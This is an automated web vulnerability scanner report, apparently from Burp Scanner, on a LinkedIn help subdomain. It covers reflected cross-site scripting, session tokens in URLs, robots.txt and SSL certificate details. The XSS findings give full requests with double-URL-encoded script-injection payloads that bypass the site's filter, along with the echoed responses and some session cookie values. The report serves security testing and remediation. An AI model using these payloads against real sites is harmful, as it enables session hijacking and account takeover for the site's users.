Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c2c7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb1f3799e651 was submitted in the REST URL parameter 4. This input was echoed as 8c2c7"><script>alert(1)</script>b1f3799e651 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca118c2c7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb1f3799e651/answers/detail/a_id/1364 HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Fri, 09 Dec 2011 05:08:50 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUiQdPdoRhtl8U9fXcNk1sekQ_WJCJ1F3cYMwq1fkzhvK4znE3mFEbfUroiLgq_srWD6p6NZ8eHGQLWr1uW7NKjx%7EyaMVIAE_k1WjfZjwajzHGTtpJrfUfmwglRaP1vu9%7EBQTcnx6w4FC_sUDBBoMha%7E3pCEQex3qr63QC08IvBBmzyTcvZWjhvJ7t_mRjQnaJkYYy50o6Z0CwUjr9hyjuJCW0rg5401K1rvCLhCiQ1hrZVyTSClMICABn6w9aNEEfftINZJcMlVGpQ84JS_how5VIEGWriYIaLoItrsbl0_UDemLWK6eE4GDQrn5ZL6BH13mE8xj0hc2WiXcWQwCG2K72IbDgXS2FLORsaQxfi8Oy9cg2hK4Hv%7EHTWKrk1tCJTIT7eV9CLvvnn4Wp48jgLXmJTzo7_K1FA%7EVs_6QUuUJV%7EVaTLA7ix6jal82huQKKwjwemU5FqdI%21; path=/; secure; httponly Content-Length: 23175 RNT-Time: D=815793 t=1323407330884075 RNT-Machine: 0.17 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO"> ...[SNIP]... <a href="https://help.linkedin.comappc7216"><script>alert(1)</script>bf34f55ca118c2c7"><script>alert(1)</script>b1f3799e651"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7caf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e293ab1ccddd was submitted in the REST URL parameter 4. This input was echoed as 7caf9"><script>alert(1)</script>293ab1ccddd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab7caf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e293ab1ccddd/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 08:44:22 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUa5ZkQJtwVsTH4fReR6vlilavqnYYuOB2I5F0CLUW__lI_UtQqu5Btr48Z1CE_Gly7sOCq2gOAu9Ob_V6gXEXP4dIFf9RMKCSwbdSYL_g4dEA2B5a%7EWSbNo3alQluEaxyC87FLqMVqAsh2zgSdgqjDwpun6OH7TVEzgMqahJPvT_5DmYrNDwouyRn7MDWwWN9yV12VOuJcfWyRq0hD5scQFMjGtxGhkF7aO4TfrXUlQZ5YClXi0E1bY2EkqU_kF3m2Y6x1H6zlRIk3zaEHyu7iid%7EuUnDiIhfc7bPYzvDh%7E2kwU1%7ErV%7El%7E6HUYnETRExru4fEgHJPx9uMwMuQ63zkPdrxIGjnlcduOh66BHfrkiJ_3XFtPsJ7WVC2Lc55uBzKETti0RmYrlUI65wt15iK8E1JlGiq7DC8; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/lang/callback/app4e182"><script>alert%281%29<%2fscript>306b3c872ab7caf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e293ab1ccddd/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c Content-Length: 25927 RNT-Time: D=992994 t=1323420262986341 RNT-Machine: 0.19 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO"> ...[SNIP]... <a href="https://help.linkedin.comapp4e182"><script>alert(1)</script>306b3c872ab7caf9"><script>alert(1)</script>293ab1ccddd"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9bd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb619c3f1863 was submitted in the REST URL parameter 4. This input was echoed as a9bd2"><script>alert(1)</script>b619c3f1863 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9a9bd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb619c3f1863/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 08:44:28 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aU3oWXYGN3bAqYahXTTF65qgLykTdcstf3jTYbsSXFBzVNrnp7plfYnH5CLdjMZPxR1yquS4FvxOmFNgOYecYBINw3ltMwXrfY3moKpQ0xNm92eodZxWsWQapnPPabv4KJcGIZbeUxqF8L9hR53pzpqHjb5ESkJzZ7pnzXqmotqNP9HqBR_IZCh3NKQ%7EWc0DtPtiaL%7EM7GAcZqpHgc7odTvIz9_o3y5rUHNFgeq297uvw96QW5y%7EX97adKt2PDIVvAdKopF69Br0Jr5uC2Sdo5SH87ND4GWTiXgYs8FURC_b1yDtbl67CuaaTSr64idM8OiYWnwj_yLsUA92_odcoSZ5CVQ5zalz21plmqJ0XikjuH_8qrz6s5BP0RTg1A81MdrEzsijDNpIGndO7PNRLQvPq%7ECc9bUSXEX8Iu%7EDwC07GlO_P8d4Uf1rvHBqdHAnWc4bs7Grn8sib8uirlw%7E4zh3ll5YkHzSfKAENG0K9AQg24DEifNsgMKw%21%21; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/lang/callback/app4e182"><script>alert%281%29<%2fscript>306b3c872ab16633<script>alert%281%29<%2fscript>4e82637d4f9a9bd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb619c3f1863/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c Content-Length: 28475 RNT-Time: D=708050 t=1323420268752875 RNT-Machine: 0.12 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO"> ...[SNIP]... <a href="https://help.linkedin.comapp4e182"><script>alert(1)</script>306b3c872ab16633<script>alert(1)</script>4e82637d4f9a9bd2"><script>alert(1)</script>b619c3f1863"> ...[SNIP]...
2. Session token in URLpreviousnext There are 5 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /app/home HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 03:50:37 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUR0AYASB1EUN8O_PwYRk3BFgeeH9adxJssrmH02GA6henpaX4fliAWl8g7gLIMxUL8LUePZD83oDd4Ls0mHp%7Eron3lnj9kHNkmhGrQrlgFx%7EW36woaip3UFAspvg6jlFO6A1GSLOwvsm0tVVLm%7EXXPhO_EnsAzu6p; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/home/h/c Content-Length: 21620 RNT-Time: D=738384 t=1323402637621666 RNT-Machine: 0.14 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 06:45:16 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUw1WqBRZlk5fHl8p_3SPqcPEJyB7gw1fcoxye4AT59lp2HMgmFjpRGV_MV_3jJW1Q61bygibOKQpRnv5uv_MtN8MTKzwtZWeoVJYmuHvopxcxNHoGiQTgOBmZmhwKuh%7EdQxaC0%7Ef1WnNkrqAW_L12CtlPBzA2opG77nftqmVUDxplTkbJL805%7Eme%7EAv_YyOJWjVKlV6BnXtwuK0fRelHpKqIT8nAZFnCAu_roxEYTZlnjFc%7E9JnzNfoow6gAk_lH%7E%7Er26LBvfPcUFVaNzATeElYDV7O2pSX8NMae8bgHqP1Kki_uUq%7EqVhw%21%21; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/lang/callback/app4e182"><script>alert%281%29<%2fscript>306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c Content-Length: 21567 RNT-Time: D=934150 t=1323413116623047 RNT-Machine: 0.11 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 06:45:17 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUeOiqSV4_7_dbULi7FHcOSfcpgtJwZCknlecBiFIHbHtpOiu2fnkGY1b95EMk%7EvIcjtg0m%7EhFb4_FDfrfs9NWSfRlgStp9eERskIRjqlMGn9mPEbx8JnMLTKRDjR1DeAN7eFvir0OuNGXPJo_eHBe96WgU36A5j7iz%7EjLOiI%7E1I9JGcip5VrPXvmO1%7EYDs2T4FXu0Zlysb_0v3wEcSkQMWvXXP_lzRMS_IULQWqDedRs0%7ETp%7EwueJ60z8fbU3Am1DgpbO5jwIoVLfFpd1E2v522iGrv9tH8YtFwrkZpAgBeyKDMPLuQb8z53DzJX9MoJnNeP%7E1AsaAGL2XcyzxGNebRLLEIdIojUozE84VA%7EY6RFAKZaWlBcy0PRPePQY4SFiAU04jZH6pqk%21; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/lang/callback/app4e182"><script>alert%281%29<%2fscript>306b3c872ab16633<script>alert%281%29<%2fscript>4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c Content-Length: 24114 RNT-Time: D=740521 t=1323413117921307 RNT-Machine: 0.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
GET /app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364 HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 05:06:55 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUJUq%7EukWgtKz7IDUU3a5cyK9peh34f9V1svT0L_WlixnxinJFshfBmlwI7GJNnOdnX_wYSM9nizdTgtSh_oC6X0UpvRu%7E00yMpbEevnpO6S__m6QIgXFu_UjNOL8t4b_hk7Z2c6EGiyCmnotmrb7MUXxJQTCrZQKJwftuo0YtO7iRlCCxFuLhCzmt_gqqtMUa%7E%7EKGHk8CRz1yUlXd7t3bLYzZ2PvEdM_VTCFZxa7ZWaaRgXTi47w3px0gZzv208MJiTWOda4I1KL4k%7EtZvSBUQDNcPWo91P7KnS1raITojFznS0TXDlZvtvbnQgR76_t4tCdIjO9UB2Py9OLuQglp5w8nb34yauYC; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/lang/callback/appc7216"><script>alert%281%29<%2fscript>bf34f55ca11/answers/detail/a_id/1364/h/c Content-Length: 20038 RNT-Time: D=936083 t=1323407215275987 RNT-Machine: 0.18 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
GET /app/topics HTTP/1.1 Host: asistenta.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Fri, 09 Dec 2011 05:06:55 GMT Server: Apache P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Cache-Control: max-age=0 Expires: -1 Pragma: no-cache Set-Cookie: cp_session=aUYHL82ZNOvh5x6SE_wL429cXQcC7PowS6u2dz%7ENDVYJsV_94jFywOi_EShFoKFMfUs9jn3_dwlFVJySu1K9B0h3_1iVMe2WHtIXUGmxkvFuZBQyeQdz4N%7E27iGqWEKVXMOjifYc0Jv%7E9VZ5zwOIO1%7E7FtdqtlFN4c; path=/; secure; httponly Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com Location: https://asistenta.linkedin.com/app/topics/h/c Content-Length: 23070 RNT-Time: D=1034453 t=1323407215201943 RNT-Machine: 0.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.
Request
GET /robots.txt HTTP/1.0 Host: asistenta.linkedin.com
Response
HTTP/1.1 200 OK Date: Fri, 09 Dec 2011 03:50:51 GMT Server: Apache Last-Modified: Mon, 17 Oct 2011 23:05:38 GMT Accept-Ranges: bytes Content-Length: 4033 RNT-Time: D=5969 t=1323402651305531 RNT-Machine: 0.14 Connection: close Content-Type: text/plain; charset=ISO-8859-1
Sitemap: http://asistenta.linkedin.com/ci/sitemap/ # ADDED BY HMS
VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:
Wed Jul 28 19:00:00 CDT 2010
Valid to:
Tue Jul 28 18:59:59 CDT 2020
Certificate chain #2
Issued to:
VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:
VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:
Tue Nov 07 18:00:00 CST 2006
Valid to:
Wed Jul 16 18:59:59 CDT 2036
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by Burp Scanner at Wed Aug 08 11:11:07 EDT 2012.